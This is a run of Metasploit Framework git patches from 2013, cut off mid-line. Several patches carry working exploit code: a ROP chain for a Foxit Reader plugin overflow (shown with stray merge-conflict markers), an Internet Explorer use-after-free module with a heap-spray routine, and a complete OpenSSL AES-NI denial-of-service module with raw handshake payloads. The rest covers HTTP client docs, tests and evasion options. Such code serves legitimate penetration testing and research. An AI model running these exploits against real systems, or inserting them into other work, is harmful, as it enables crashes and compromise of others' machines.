@return [OpenSSL::X509::Certificate] if the certificate was retrieved + # @return [Nil] if the cert couldn't be retrieved def get_cert(ssl_version, cipher) validate_params(ssl_version,cipher) begin @@ -88,13 +106,19 @@ class Scanner protected + # Validates that the SSL Version and Cipher are valid both seperately and + # together as part of an SSL Context. + # @param ssl_version [Symbol] The SSL version to use (:SSLv2, :SSLv3, :TLSv1) + # @param cipher [String] The SSL Cipher to use + # @raise [StandardError] If an invalid or unsupported SSL Version was supplied + # @raise [StandardError] If the cipher is not valid for that version of SSL def validate_params(ssl_version, cipher) raise StandardError, "The scanner configuration is invalid" unless valid? unless @supported_versions.include? ssl_version raise StandardError, "SSL Version must be one of: #{@supported_versions.to_s}" end unless OpenSSL::SSL::SSLContext.new(ssl_version).ciphers.flatten.include? cipher - raise ArgumentError, "Must be a valid SSL Cipher for #{version}!" + raise StandardError, "Must be a valid SSL Cipher for #{version}!" end end From f04df6300a916cd77c6f99d0680a0960a3dbfcdb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 Feb 2013 13:44:37 +0100 Subject: [PATCH 162/341] makefile updated --- external/source/exploits/cve-2013-0431/Makefile | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/external/source/exploits/cve-2013-0431/Makefile b/external/source/exploits/cve-2013-0431/Makefile index 7c77a9c3b4..43045c9e5a 100644 --- a/external/source/exploits/cve-2013-0431/Makefile +++ b/external/source/exploits/cve-2013-0431/Makefile @@ -2,17 +2,21 @@ CLASSES = \ Exploit.java \ - B.java + B.java \ + Serializer.java .SUFFIXES: .java .class .java.class: - javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java + javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java all: $(CLASSES:.java=.class) install: + java Serializer mv Exploit.class ../../../../data/exploits/cve-2013-0431/ mv B.class ../../../../data/exploits/cve-2013-0431/ + mv Exploit.ser ../../../../data/exploits/cve-2013-0431/ clean: rm -rf *.class + rm -rf *.ser From e5e47a34851912b24e7974549918e06735f26593 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 21 Feb 2013 10:10:39 -0600 Subject: [PATCH 163/341] Bleh, I fucked up this file --- .../browser/foxit_reader_plugin_url_bof.rb | 31 ------------------- 1 file changed, 31 deletions(-) diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index fd2d342952..79df79fbcf 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -96,46 +96,16 @@ class Metasploit3 < Msf::Exploit::Remote return rand_text_alpha(4).unpack("L")[0].to_i end -<<<<<<< HEAD -======= def nops make_nops(4).unpack("N*") end ->>>>>>> ee707904b08d61c2cb240ef8d052fef9e3d2c87d # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module) def win7_rop_chain # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ -<<<<<<< HEAD - 0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll] - 0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll] - 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] - 0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll] - 0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll] - junk, # Filler (RETN offset compensation) - 0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll] - 0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll] - 0x00001000, # 0x00001000-> edx - 0x1000d9ec, # XOR EDX, EDX # RETN - 0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll] - jun, # Filler (compensate) - 0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll] - junk, # Filler (RETN offset compensation) - junk, # Filler (RETN offset compensation) - junk, # Filler (RETN offset compensation) - junk, # Filler (RETN offset compensation) - 0x00000040, # 0x00000040-> ecx - 0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll] - 0x00000001, # 0x00000001-> ebx - 0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll] - 0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll] - 0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll] - 0x90909090, # nop - 0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll] -======= 0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll] 0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll] 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] @@ -161,7 +131,6 @@ class Metasploit3 < Msf::Exploit::Remote 0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll] nops, 0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll] ->>>>>>> ee707904b08d61c2cb240ef8d052fef9e3d2c87d ].flatten.pack("V*") return rop_gadgets From b4f4cdabbcb017ee9991123f2b915c28a371668f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 Feb 2013 20:04:05 +0100 Subject: [PATCH 164/341] cleanup for the module --- .../windows/browser/ie_slayoutrun_uaf.rb | 75 ++++++------------- 1 file changed, 21 insertions(+), 54 deletions(-) diff --git a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb index a0f8e93dcb..ef77e516e3 100644 --- a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb @@ -8,12 +8,11 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = AverageRanking + Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free", @@ -25,20 +24,20 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Scott Bell ', # Vulnerability discovery & Metasploit module + 'Scott Bell ' # Vulnerability discovery & Metasploit module ], 'References' => [ [ 'CVE', '2013-0025' ], [ 'MSB', 'MS13-009' ], - [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ], + [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ] ], 'Payload' => { - 'BadChars' => "\x00", - 'Space' => 1024, - 'DisableNops' => true, - 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", + 'BadChars' => "\x00", + 'Space' => 920, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { @@ -137,44 +136,34 @@ class Metasploit3 < Msf::Exploit::Remote rop_payload << [0x77c39f92].pack("V") # RETN rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset rop_payload << code - end return rop_payload end - def this_resource - r = get_resource - return ( r == '/') ? '' : r - end - def get_exploit(my_target, cli) p = get_payload(my_target, cli) js = heap_spray(my_target, p) - html = %Q| + # def js_property_spray js = %Q|function sprayHeap( oArg ) { - shellcode = oArg.shellcode; - browser = oArg.browser; - offset = oArg.offset; + shellcode = oArg.shellcode; + browser = oArg.browser; + offset = oArg.offset; heapBlockSize = oArg.heapBlockSize; - maxAllocs = oArg.maxAllocs; - objId = oArg.objId; + maxAllocs = oArg.maxAllocs; + objId = oArg.objId; if (shellcode == undefined) { throw "Missing argument: shellcode"; } if (objId == undefined) { throw "Missing argument: objId"; } @@ -816,16 +833,18 @@ protected if (maxAllocs == undefined) { maxAllocs = 0x250; } if (browser == undefined) { browser = 'generic'; } + if (offset > 0x800) { throw "Bad alignment"; } + var div_container = document.getElementById(objId); div_container.style.cssText = "display:none"; var data; junk = unescape("%u2020%u2020"); - while (junk.length < 0x1000) junk += junk; + while (junk.length < offset+0x1000) junk += junk; data = junk.substring(0,offset) + shellcode; data += junk.substring(0,0x800-offset-shellcode.length); - while (data.length < 0x80000) data += data; + while (data.length < heapBlockSize) data += data; for (var i = 0; i < maxAllocs; i++) { @@ -849,7 +868,6 @@ protected case 'generic': obj.title = data.substring(0, heapBlockSize-0x58); - obj.style.fontFamily = data.substring(0, heapBlockSize-0x58); div_container.appendChild(obj); break; From e7015985e7234fb6bdde3d2b0a41ed6cfacf1107 Mon Sep 17 00:00:00 2001 From: Wolfgang Ettlinger Date: Wed, 27 Feb 2013 22:57:53 +0100 Subject: [PATCH 237/341] Added CVE-2012-2686 Added Module for a DoS issue in OpenSSL (pre 1.0.1d). Can be exploited with services that use TLS >= 1.1 and AES-NI. Because of improper length computation, an integer underflow occurs leading to a segmentation fault. This module brute-forces serveral encrypted messages - when the decrypted message coincidentally specifies a certain value for the size, the integer underflow occurs. Though this could be accomplished more effectively (e.g. implementing or maninpulating and TLS implementation), this module still does what it should do. --- modules/auxiliary/dos/ssl/openssl_aesni.rb | 169 +++++++++++++++++++++ 1 file changed, 169 insertions(+) create mode 100644 modules/auxiliary/dos/ssl/openssl_aesni.rb diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb new file mode 100644 index 0000000000..d05134f4de --- /dev/null +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -0,0 +1,169 @@ +# auxilary/dos/ssl/openssl_aesni +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS', + 'Description' => %q{ + The AES-NI implementation of OpenSSL 1.0.1c does not + properly compute the length of an encrypte message when used + with a TLS version 1.1 or above. This leads to an integer + underflow which can cause a DoS. + }, + 'Author' => [ + 'Wolfgang Ettlinger ' + ], + 'License' => BSD_LICENSE, + 'References' => + [ + [ 'CVE', '2012-2686'], + [ 'URL', 'https://www.openssl.org/news/secadv_20130205.txt'] + ], + 'DisclosureDate' => 'Feb 05 2013')) + + register_options( + [ + Opt::RPORT(443), + OptInt.new('MAX_TRIES', [false, "Maximum number of tries", 300]) + ], self.class) + end + + def run + # Client Hello + p1 = + "\x16\x03\x01\x00\x7e\x01\x00\x00\x7a\x03\x02\x50\xeb\xf2\x4a\xaf"<< + "\x74\xf5\xe3\x55\x6a\xae\xcf\x88\x36\x7c\xd9\xe5\x1b\xcc\x09\xee"<< + "\x6f\x42\x30\x3b\x49\x55\xf8\xaa\x11\x32\xeb\x00\x00\x08\xc0\x13"<< + "\x00\x39\x00\x35\x00\xff\x01\x00\x00\x49\x00\x0b\x00\x04\x03\x00"<< + "\x01\x02\x00\x0a\x00\x34\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b"<< + "\x00\x0c\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06"<< + "\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01"<< + "\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00\x23\x00\x00\x00\x0f"<< + "\x00\x01\x01" + + # Client Key Exchange, Change Cipher Spec, Encrypted Handshake + # AES256-SHA + p2_aes_sha = + "\x16\x03\x02\x01\x06\x10\x00\x01\x02\x01\x00\x4c\xee\x18\xe2\xec"<< + "\xa9\x9d\xd7\x10\xd0\xff\x6f\xa8\x10\xf5\x9c\xa0\x91\x38\x93\x93"<< + "\xaa\x71\x07\x69\xb6\x22\x81\x2d\xcd\xe0\x8f\x95\xf2\x9b\xaa\x49"<< + "\x18\x15\x53\xc3\x34\x15\x81\xab\x20\x72\x16\x5b\xf2\xca\x13\x9e"<< + "\x11\x6e\x3c\xf5\x71\x7c\x19\xf4\x7d\x35\x71\x25\x6e\xbe\xee\xdf"<< + "\x1d\x55\xc9\x38\xac\xbb\x88\xab\xd0\x18\x7d\x5f\xaa\x3c\x91\x2f"<< + "\xd2\x64\x7c\x15\x91\xa6\xe7\xb7\x0c\x01\xb3\xc7\x37\xc1\x3a\xb2"<< + "\xde\x59\x6e\x8f\x7a\xde\x22\x59\x6c\xb7\x91\x21\x8f\xff\x56\x2c"<< + "\x5f\xfb\x54\x7f\xd1\x1a\x00\x0e\x02\xb2\x4e\x62\xfd\xe2\xc0\x8f"<< + "\x56\x52\x8a\x4c\x44\x01\x5f\x21\xf9\xd5\xb3\xeb\xab\x39\xcf\x4e"<< + "\xed\x78\xad\xea\xc7\x43\x80\x3f\xf2\x41\xbe\x5c\x83\xa5\x54\x6f"<< + "\x3c\xfb\x15\xed\x3c\x83\xf0\x3b\xd2\x7c\x5d\xf6\x82\xcb\x82\xb6"<< + "\x6a\x8e\x94\xf9\x22\x5a\x17\x20\x82\x21\x4e\x83\x01\x81\x06\x9e"<< + "\x21\xba\x16\xa4\xda\xcd\x8e\x1c\x8c\xe7\x19\x96\x2a\xec\x90\x6a"<< + "\x16\xac\x12\x68\xbd\xf7\x4b\x6c\x3c\x91\x8b\xe7\x34\x03\x91\x65"<< + "\x61\x57\xbc\x3a\x66\x3b\x7b\xb1\x57\xcd\x19\x5c\x4a\x69\x43\xb2"<< + "\x67\xaf\x38\x5c\x1a\x7e\x80\x78\x90\x25\xb8\x14\x03\x02\x00\x01"<< + "\x01\x16\x03\x02\x00\x40\x7d\xf4\x2c\x8c\x64\x74\xa5\x98\x02\x41"<< + "\xac\x97\xfd\x53\x15\x4c\xbf\x16\x08\x26\xe0\x6c\x22\x70\x5f\x36"<< + "\x75\x75\x96\xf9\x6b\x9f\xb4\xc3\x38\xa7\x14\xac\x21\x89\xec\xd6"<< + "\x37\x28\xf3\x0d\xdf\xb3\x1b\xac\x96\xf3\x16\x5c\xc3\x6b\x71\x1c"<< + "\xdb\x0d\x04\x96\x21\xd2" + + # DHE-RSA-AES256-SHA + p2_dhe_rsa_aes256_sha = + "\x16\x03\x02\x00\x46\x10\x00\x00\x42\x00\x40\x43\xaf\x48\x16\x8d"<< + "\x17\xb9\xb0\xb6\xbc\x68\xab\x99\xf9\x30\xc9\xb1\xa2\x3b\x4f\x79"<< + "\xaa\x76\x5c\x0d\x61\xa0\x19\x55\x11\x20\xe8\xbb\xab\x69\xf3\xeb"<< + "\xff\x81\x1d\x16\x0d\x03\xaf\xb9\x70\xae\x72\x5c\xd8\xc7\x28\x2c"<< + "\xac\xd5\x84\x2c\xaf\x2a\x57\x46\x71\xca\x73\x14\x03\x02\x00\x01"<< + "\x01\x16\x03\x02\x00\x40\xff\x62\x0f\x7a\xb2\x79\xfe\x78\xce\xb9"<< + "\xde\xc4\xef\x66\x2f\xed\x1a\x37\xfe\x47\xdd\xde\x9c\xe0\x42\xbc"<< + "\x93\x20\x65\x05\xd3\x50\x14\x1c\x6c\xb1\x7a\x3a\x7d\x91\x92\xbb"<< + "\x9d\x42\x78\xbf\xe4\x08\xa0\xfd\x9c\xeb\x24\x29\x3b\xed\xc8\x54"<< + "\x3d\xd3\xa2\xff\xb0\x8b" + + # ECDHE-RSA-AES128-SHA + p2_ecdhe_rsa_aes128_sha = + "\x16\x03\x02\x00\x46\x10\x00\x00\x42\x41\x04\x2f\x22\xf4\x06\x3f"<< + "\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8\x03\xe5\xaa\x36\xeb\x0f"<< + "\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69\x5b\x38\x95\x58\xb6\x0d"<< + "\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6\xb2\xe6\x8b\x2a\xd9\x03"<< + "\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73\x40\x14\x03\x02\x00\x01"<< + "\x01\x16\x03\x02\x00\x40\x8c\xc6\x4d\xdc\x42\x03\x64\xa3\xc0\xf4"<< + "\x94\xda\xa4\x12\x68\x78\xfd\x5b\x44\xaf\xa3\x91\x63\x75\x26\x93"<< + "\x14\xad\x86\xa7\x4f\x5a\x2e\xcb\x13\x17\xb7\xdf\x67\x64\x1b\x10"<< + "\xc3\x9f\x68\xaf\x92\x38\xbf\x67\xc6\x18\x5b\x78\xc9\x99\xc3\x70"<< + "\x89\x09\xe2\x3f\x3e\x1f" + + maxtries = datastore['MAX_TRIES'] + + success = false + + for i in 0..maxtries + print_status("Try \##{i}") + + connect + + sock.put(p1) + resp = sock.recv(4096) + + cs = get_cipher_suite(resp) + + if cs == 0xc013 # ECDHE-RSA-AES128-SHA + p2 = p2_ecdhe_rsa_aes128_sha + elsif cs == 0x0039 # DHE-RSA-AES256-SHA + p2 = p2_dhe_rsa_aes256_sha + elsif cs == 0x0035 # AES256-SHA + p2 = p2_aes_sha + else + print_error("No common ciphers!") + return + end + + sock.put(p2) + + alert = nil + + timeout(2) do + alert = sock.recv(4096) + end + + disconnect + + if alert == '' + print_status("DoS successful. process on #{rhost} did not respond.") + success = true + break + end + end + + if success == false + print_status("DoS unsuccessful.") + end + end + + def get_cipher_suite(resp) + offset = 0 + + while offset < resp.length + type = (resp[offset, 1]).unpack("C")[0] + + if not type == 22 # Handshake + return nil + end + + len = (resp[offset+3, 2]).unpack("n")[0] + hstype = (resp[offset+5, 1]).unpack("C")[0] + + if hstype == 2 + return (resp[offset+44, 2]).unpack("n")[0] + end + + offset += len + end + + end +end + From d5ae54cbb64b3e1db831d07f9840226dd27a228e Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 27 Feb 2013 16:27:37 -0600 Subject: [PATCH 238/341] More accurate docs --- lib/rex/proto/http/client.rb | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index f3073ca530..5402b3ba3e 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -254,6 +254,7 @@ class Client # If the request is a 401, and we have creds, it will attempt to complete # authentication and return the final response # + # @return (see #_send_recv) def send_recv(req, t = -1, persist=false) res = _send_recv(req,t,persist) if res and res.code == 401 and res.headers['WWW-Authenticate'] @@ -271,7 +272,7 @@ class Client # Call this directly instead of {#send_recv} if you don't want automatic # authentication handling. # - # @return [Response] + # @return (see #read_response) def _send_recv(req, t = -1, persist=false) @pipeline = persist send_request(req, t) @@ -286,6 +287,7 @@ class Client # @param req [Request,ClientRequest,#to_s] The request to send # @param t (see #connect) # + # @return [void] def send_request(req, t = -1) connect(t) conn.put(req.to_s) @@ -299,6 +301,7 @@ class Client # @param opts [Hash] the options used to generate the original HTTP request # @param t [Fixnum] the timeout for the request in seconds # @param persist [Boolean] whether or not to persist the TCP connection (pipelining) + # # @return [Response] the last valid HTTP response object we received def send_auth(res, opts, t, persist) if opts['username'].nil? or opts['username'] == '' @@ -352,15 +355,19 @@ class Client return res end - # Converts username and password into the HTTP Basic - # authorization string. + # Converts username and password into the HTTP Basic authorization + # string. + # + # @return [String] A value suitable for use as an Authorization header def basic_auth_header(username,password) auth_str = username.to_s + ":" + password.to_s auth_str = "Basic " + Rex::Text.encode_base64(auth_str) end # Send a series of requests to complete Digest Authentication + # # @param opts [Hash] the options used to build an HTTP request + # # @return [Response] the last valid HTTP response we received def digest_auth(opts={}) @nonce_count = 0 @@ -495,14 +502,14 @@ class Client end end - # - # Opts - - # Inherits all the same options as send_request_cgi - # provider - What Negotiate Provider to use (supports NTLM and Negotiate) # # Builds a series of requests to complete Negotiate Auth. Works essentially # the same way as Digest auth. Same pipelining concerns exist. # + # @option opts (see #send_request_cgi) + # @option opts provider ["Negotiate","NTLM"] What Negotiate provider to use + # + # @return [Response] the last valid HTTP response we received def negotiate_auth(opts={}) ntlm_options = { :signing => false, @@ -608,6 +615,7 @@ class Client # # Read a response from the server # + # @return [Response] def read_response(t = -1, opts = {}) resp = Response.new From 5606db3f9ca93da80aebe24c0a5139f32c9cb951 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 27 Feb 2013 16:28:17 -0600 Subject: [PATCH 239/341] Re-enable some commented tests --- spec/lib/rex/proto/http/client_spec.rb | 29 +++++++++++++++----------- 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index d216c75325..8dc10b8c46 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -43,8 +43,8 @@ describe Rex::Proto::Http::Client do cli.instance_variable_get(:@context).should == {} cli.instance_variable_get(:@ssl).should be_false cli.instance_variable_get(:@proxies).should be_nil - # cli.instance_variable_get(:@username).should be_empty - # cli.instance_variable_get(:@password).should be_empty + cli.instance_variable_get(:@username).should be_empty + cli.instance_variable_get(:@password).should be_empty cli.config.should be_a_kind_of Hash end @@ -53,7 +53,11 @@ describe Rex::Proto::Http::Client do end it "should produce a CGI HTTP request" do - cli.request_cgi.should be_a_kind_of Rex::Proto::Http::ClientRequest + req = cli.request_cgi + req.should be_a_kind_of Rex::Proto::Http::ClientRequest + + req.port.should == 80 + req.ssl.should be_false end it "should attempt to connect to a server" do @@ -78,15 +82,16 @@ describe Rex::Proto::Http::Client do end it "should test for credentials" do - # cli.should_not have_creds - # this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) - # this_cli.should have_creds - pending "Should actually respond to :has_creds" + pending "Should actually respond to :has_creds" do + cli.should_not have_creds + this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) + this_cli.should have_creds + end end it "should send authentication", :pending => excuse_needs_connection - it "should produce a basic authentication header", :pending => "Waiting for #1500" do + it "should produce a basic authentication header" do u = "user1" p = "pass1" b64 = ["#{u}:#{p}"].pack("m*").strip @@ -114,10 +119,10 @@ describe Rex::Proto::Http::Client do end it "should tell if pipelining is enabled" do - cli.pipelining?.should be_false + cli.should_not be_pipelining this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) this_cli.pipeline = true - this_cli.pipelining?.should be_true + this_cli.should be_pipelining end it "should respond to its various accessors" do @@ -129,8 +134,8 @@ describe Rex::Proto::Http::Client do cli.should respond_to :conn cli.should respond_to :context cli.should respond_to :proxies - # cli.should respond_to :username - # cli.should respond_to :password + cli.should respond_to :username + cli.should respond_to :password cli.should respond_to :junk_pipeline # These are supposed to be protected cli.should respond_to :ssl From 4edd46216f32d4c0009aadf8204b8bb4fcc8af89 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 27 Feb 2013 17:29:26 -0600 Subject: [PATCH 240/341] Refactor config -> opts Puts all the evasion stuff in the same place as regular HTTP options to make it easier to deal with. --- lib/rex/proto/http/client.rb | 3 - lib/rex/proto/http/client_request.rb | 201 ++++++++---------- .../lib/rex/proto/http/client_request_spec.rb | 32 ++- spec/lib/rex/proto/http/client_spec.rb | 2 - 4 files changed, 103 insertions(+), 135 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 5402b3ba3e..b10af20c3c 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -23,7 +23,6 @@ module Http ### class Client - DefaultUserAgent = Rex::Proto::Http::ClientRequest::DefaultUserAgent # # Creates a new client instance @@ -41,8 +40,6 @@ class Client self.config = { 'read_max_data' => (1024*1024*1), 'vhost' => self.hostname, - 'version' => '1.1', - 'agent' => DefaultUserAgent, }.merge(Http::ClientRequest::DefaultConfig) self.config_types = { diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index 1b55784e99..31933fe5f7 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -14,6 +14,25 @@ class ClientRequest DefaultUserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" DefaultConfig = { + # + # Regular HTTP stuff + # + 'agent' => DefaultUserAgent, + 'cgi' => true, + 'cookie' => nil, + 'data' => '', + 'headers' => {}, + 'raw_headers' => '', + 'method' => 'GET', + 'path_info' => '', + 'port' => 80, + 'proto' => 'HTTP', + 'ssl' => false, + 'uri' => '/', + 'vars_get' => {}, + 'vars_post' => {}, + 'version' => '1.1', + # # Evasion options # @@ -45,6 +64,7 @@ class ClientRequest 'uri_fake_params_start' => false, # bool 'header_folding' => false, # bool 'chunked_size' => 0, # integer + # # NTLM Options # @@ -61,68 +81,25 @@ class ClientRequest 'DigestAuthIIS' => true } - attr_accessor :authorization - attr_accessor :cgi - attr_accessor :config - attr_accessor :connection - attr_accessor :content_type - attr_accessor :cookie - attr_accessor :data - attr_accessor :headers - attr_accessor :host - attr_accessor :method - attr_accessor :path - attr_accessor :port - attr_accessor :protocol - attr_accessor :query - attr_accessor :raw_headers - attr_accessor :ssl - attr_accessor :uri - attr_accessor :user_agent - attr_accessor :vars_get - attr_accessor :vars_post - attr_accessor :version - attr_reader :opts def initialize(opts={}) - @cgi = (opts['cgi'].nil? ? true : opts['cgi']) - @config = DefaultConfig.merge(opts['client_config'] || {}) - @connection = opts['connection'] - @content_type = opts['ctype'] - @cookie = opts['cookie'] - @data = opts['data'] || "" - @headers = opts['headers'] || {} - @host = opts['vhost'] - @method = opts['method'] || "GET" - @path = opts['path_info'] - @port = opts['port'] || 80 - @protocol = opts['proto'] || "HTTP" - @query = opts['query'] || "" - @ssl = opts['ssl'] - @raw_headers = opts['raw_headers'] || "" - @uri = opts['uri'] - @user_agent = opts['agent'] - @vars_get = opts['vars_get'] || {} - @vars_post = opts['vars_post'] || {} - @version = opts['version'] || "1.1" - @opts = opts - + @opts = DefaultConfig.merge(opts) end def to_s # Start GET query string - qstr = query.dup + qstr = opts['query'] ? opts['query'].dup : "" # Start POST data string - pstr = data.dup + pstr = opts['data'] ? opts['data'].dup : "" - if cgi + if opts['cgi'] uri_str= set_cgi - if (config['pad_get_params']) - 1.upto(config['pad_get_params_count'].to_i) do |i| + if (opts['pad_get_params']) + 1.upto(opts['pad_get_params_count'].to_i) do |i| qstr << '&' if qstr.length > 0 qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) qstr << '=' @@ -130,33 +107,33 @@ class ClientRequest end end - vars_get.each_pair do |var,val| + opts['vars_get'].each_pair do |var,val| qstr << '&' if qstr.length > 0 - qstr << (config['encode_params'] ? set_encode_uri(var) : var) + qstr << (opts['encode_params'] ? set_encode_uri(var) : var) qstr << '=' - qstr << (config['encode_params'] ? set_encode_uri(val) : val) + qstr << (opts['encode_params'] ? set_encode_uri(val) : val) end - if (config['pad_post_params']) - 1.upto(config['pad_post_params_count'].to_i) do |i| + if (opts['pad_post_params']) + 1.upto(opts['pad_post_params_count'].to_i) do |i| rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1) rand_val = Rex::Text.rand_text_alphanumeric(rand(32)+1) pstr << '&' if pstr.length > 0 - pstr << (config['encode_params'] ? set_encode_uri(rand_var) : rand_var) + pstr << (opts['encode_params'] ? set_encode_uri(rand_var) : rand_var) pstr << '=' - pstr << (config['encode_params'] ? set_encode_uri(rand_val) : rand_val) + pstr << (opts['encode_params'] ? set_encode_uri(rand_val) : rand_val) end end - vars_post.each_pair do |var,val| + opts['vars_post'].each_pair do |var,val| pstr << '&' if pstr.length > 0 - pstr << (config['encode_params'] ? set_encode_uri(var) : var) + pstr << (opts['encode_params'] ? set_encode_uri(var) : var) pstr << '=' - pstr << (config['encode_params'] ? set_encode_uri(val) : val) + pstr << (opts['encode_params'] ? set_encode_uri(val) : val) end else uri_str = set_uri - if config['encode'] + if opts['encode'] qstr = set_encode_uri(qstr) end end @@ -166,7 +143,7 @@ class ClientRequest req << set_method_uri_spacer() req << set_uri_prepend() - if config['encode'] + if opts['encode'] req << set_encode_uri(uri_str) else req << uri_str @@ -185,7 +162,7 @@ class ClientRequest req << set_host_header # If an explicit User-Agent header is set, then use that instead of the value of user_agent - unless headers.keys.map{|x| x.downcase }.include?('user-agent') + unless opts['headers'].keys.map{|x| x.downcase }.include?('user-agent') req << set_agent_header end @@ -197,19 +174,19 @@ class ClientRequest req << set_content_type_header req << set_content_len_header(pstr.length) req << set_chunked_header() - req << raw_headers + req << opts['raw_headers'] req << set_body(pstr) end protected def set_uri - uri_str = uri.dup - if (config['uri_dir_self_reference']) + uri_str = opts['uri'].dup + if (opts['uri_dir_self_reference']) uri_str.gsub!('/', '/./') end - if (config['uri_dir_fake_relative']) + if (opts['uri_dir_fake_relative']) buf = "" uri_str.split('/').each do |part| cnt = rand(8)+2 @@ -222,10 +199,10 @@ class ClientRequest uri_str = buf end - if (config['uri_full_url']) - url = self.ssl ? "https://" : "http://" - url << self.config['vhost'] - url << ((self.port == 80) ? "" : ":#{self.port}") + if (opts['uri_full_url']) + url = opts['ssl'] ? "https://" : "http://" + url << opts['vhost'] + url << ((opts['port'] == 80) ? "" : ":#{opts['port']}") url << uri_str url else @@ -234,12 +211,12 @@ class ClientRequest end def set_cgi - uri_str = uri.dup - if (config['uri_dir_self_reference']) + uri_str = opts['uri'].dup + if (opts['uri_dir_self_reference']) uri_str.gsub!('/', '/./') end - if (config['uri_dir_fake_relative']) + if (opts['uri_dir_fake_relative']) buf = "" uri_str.split('/').each do |part| cnt = rand(8)+2 @@ -254,10 +231,10 @@ class ClientRequest url = uri_str - if (config['uri_full_url']) - url = self.ssl ? "https" : "http" - url << self.config['vhost'] - url << (self.port == 80) ? "" : ":#{self.port}" + if (opts['uri_full_url']) + url = opts['ssl'] ? "https" : "http" + url << opts['vhost'] + url << 